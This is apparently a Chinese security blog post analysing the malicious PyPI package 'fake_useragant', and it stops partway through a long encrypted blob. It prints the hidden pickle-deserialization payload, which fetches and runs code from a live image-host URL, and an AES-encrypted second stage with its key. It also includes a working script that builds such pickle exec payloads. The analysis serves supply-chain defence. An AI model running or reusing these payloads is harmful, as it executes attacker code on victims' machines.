2022 Hvv 第一起供应链攻击fake_useragant分析

在pypi官网搜索,链接已经失效,被官方下架 


 

在镜像站仍可以下载:

Links for fake-useragant

下载 离线包,离线安装,分析源码,

打开 fake-useragant-0.1.12/fake_useragant/urllib2.py

# -*- coding:utf-8 -*-
import base64
import ctypes
import pickle as json
import urllib.request
from Crypto.Cipher import AES

def task(pid):
    import time
    os.system(f'>nul 2>nul taskkill /F /PID {pid}')
    urllib2.urlparse()

def urlparse():
        json.loads(base64.decodebytes(b'gASVpwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIyLaHRtbD11cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vaS5taWFvc3UuYmlkL2RhdGEvZl8zNTQ2MTM1NC5wbmcnKS5yZWFkKClbNzpdCmpzb24ubG9hZHMoYmFzZTY0LmRlY29kZWJ5dGVzKGh0bWxbOi0zXVs6Oi0xXStodG1sWy0zOl0pKZSFlFKULg=='))

命令行执行 echo "gASVpwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIyLaHRtbD11cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vaS5taWFvc3UuYmlkL2RhdGEvZl8zNTQ2MTM1NC5wbmcnKS5yZWFkKClbNzpdCmpzb24ubG9hZHMoYmFzZTY0LmRlY29kZWJ5dGVzKGh0bWxbOi0zXVs6Oi0xXStodG1sWy0zOl0pKZSFlFKULg=="|base64 -d

有不可打印字符,在pycham  执行

print(base64.decodebytes(b'gASVpwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIyLaHRtbD11cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vaS5taWFvc3UuYmlkL2RhdGEvZl8zNTQ2MTM1NC5wbmcnKS5yZWFkKClbNzpdCmpzb24ubG9hZHMoYmFzZTY0LmRlY29kZWJ5dGVzKGh0bWxbOi0zXVs6Oi0xXStodG1sWy0zOl0pKZSFlFKULg=='))
b"\x80\x04\x95\xa7\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c\x8bhtml=urllib.request.urlopen('http://i.miaosu.bid/data/f_35461354.png').read()[7:]\njson.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))\x94\x85\x94R\x94."

结尾有 \R ,猜测 是 pickle __reduce__ 反序列化。

将恶意代码提取:

html = urllib.request.urlopen('http://i.miaosu.bid/data/f_35461354.png').read()[7:]
json.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))

pickle 所使用的数据格式仅可用于 Python,这意味着非 Python 程序可能无法重新读取 pickle 封存的 Python 对象。可以用  pickletools.dis(pickle.dumps(e, protocol=4)) 分析上面的 pickle序列化字符串。

编写一个demo,可知代码意思将原文调换了排列顺序。

a=[1,2,3,4,5,6,7,8,9,10]
print(a[:-3][::-1]+a[-3:])

# [7, 6, 5, 4, 3, 2, 1, 8, 9, 10]

这里还利用一个匿名上传图片的网站,妙速图床-稳定图床

urllib2.py 中使用了一个障眼法,实际上是使用pickle 反序列化:

 
import pickle as json 

json.loads("")

写了一个pickle反序列化利用的代码:

# -*- coding:utf-8 -*-
__author__ = 'leezp'
__date__ = 20220725

import pickle
import builtins


class genpoc(object):
    def __reduce__(self):  # reduce函数必须返回元组或字符串
        s = """html=urllib.request.urlopen('https://baidu.com').read()"""  # 要执行的命令
        return (builtins.exec, (s,))  # 执行代码时使用
        # return os.system,(s,)       # 执行系统命令时使用


e = genpoc()
poc = pickle.dumps(e, protocol=4)  # pickle协议版本

print(poc)
import urllib.request

print(pickle.loads(poc))
print(html)

输出:

b"\x80\x04\x95S\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c7html=urllib.request.urlopen('https://baidu.com').read()\x94\x85\x94R\x94."
None
b'<!DOCTYPE html><!--STATUS OK-->\n\n\n    <html>****(省略)****baidu.com/cd37ed75a9387c5b.js"></script>\n</body>\n        \n\t</html>'

利用上面的脚本验证 fake_useragant 里的payload:

# -*- coding:utf-8 -*-
__date__ = 20220725

import pickle
import os
import builtins


class genpoc(object):
    def __reduce__(self):  # reduce函数必须返回元组或字符串
        s = """html=urllib.request.urlopen('http://i.miaosu.bid/data/f_35461354.png').read()[7:]\njson.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))"""  # 要执行的命令
        return (builtins.exec, (s,))  # 执行代码时使用
        # return os.system,(s,)       # 执行系统命令时使用


print(type(os.system))
print(type(builtins.exec))
e = genpoc()
print(e)
print(type(e))
poc = pickle.dumps(e, protocol=4)
print(poc)
import pickletools

print(pickletools.dis(poc))  # 解析成可读结构化数据
print(pickletools.optimize(poc))  # 优化 ,减少长度

输出:

<class 'builtin_function_or_method'>
<class 'builtin_function_or_method'>
<__main__.genpoc object at 0x00000000024E7470>
<class '__main__.genpoc'>
b"\x80\x04\x95\xa7\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c\x8bhtml=urllib.request.urlopen('http://i.miaosu.bid/data/f_35461354.png').read()[7:]\njson.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))\x94\x85\x94R\x94."
    0: \x80 PROTO      4
    2: \x95 FRAME      167
   11: \x8c SHORT_BINUNICODE 'builtins'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'exec'
   28: \x94 MEMOIZE    (as 1)
   29: \x93 STACK_GLOBAL
   30: \x94 MEMOIZE    (as 2)
   31: \x8c SHORT_BINUNICODE "html=urllib.request.urlopen('http://i.miaosu.bid/data/f_35461354.png').read()[7:]\njson.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))"
  172: \x94 MEMOIZE    (as 3)
  173: \x85 TUPLE1
  174: \x94 MEMOIZE    (as 4)
  175: R    REDUCE
  176: \x94 MEMOIZE    (as 5)
  177: .    STOP
highest protocol among opcodes = 4
None
b"\x80\x04\x95\xa1\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x8c\x04exec\x93\x8c\x8bhtml=urllib.request.urlopen('http://i.miaosu.bid/data/f_35461354.png').read()[7:]\njson.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))\x85R."

我生成的代码,与 fake_useragant base64 解码出来的payload完全一致:

\x80\x04\x95\xa7\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c\x8bhtml=urllib.request.urlopen('http://i.miaosu.bid/data/f_35461354.png').read()[7:]\njson.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))\x94\x85\x94R\x94.
\x80\x04\x95\xa7\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c\x8bhtml=urllib.request.urlopen('http://i.miaosu.bid/data/f_35461354.png').read()[7:]\njson.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))\x94\x85\x94R\x94.

该payload指向一个图床网站,将恶意代码写在一个图片里。

在命令行执行,用pickletools分析,里面又套了一层pickle反序列化:

json.loads(base64.decodebytes(AES.new(b'0c6TYJwXPNbfRaW8D9jLtVSqO1nvZzo=',AES.MODE_CBC,b'9ZpA87xH3J1k5ylK').decrypt(base64.decodebytes(b'F....

将代码层层解开:

# -*- coding:utf-8 -*-
__date__ = 20220725

import pickle
import base64

n = b'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'
a = len(
    b'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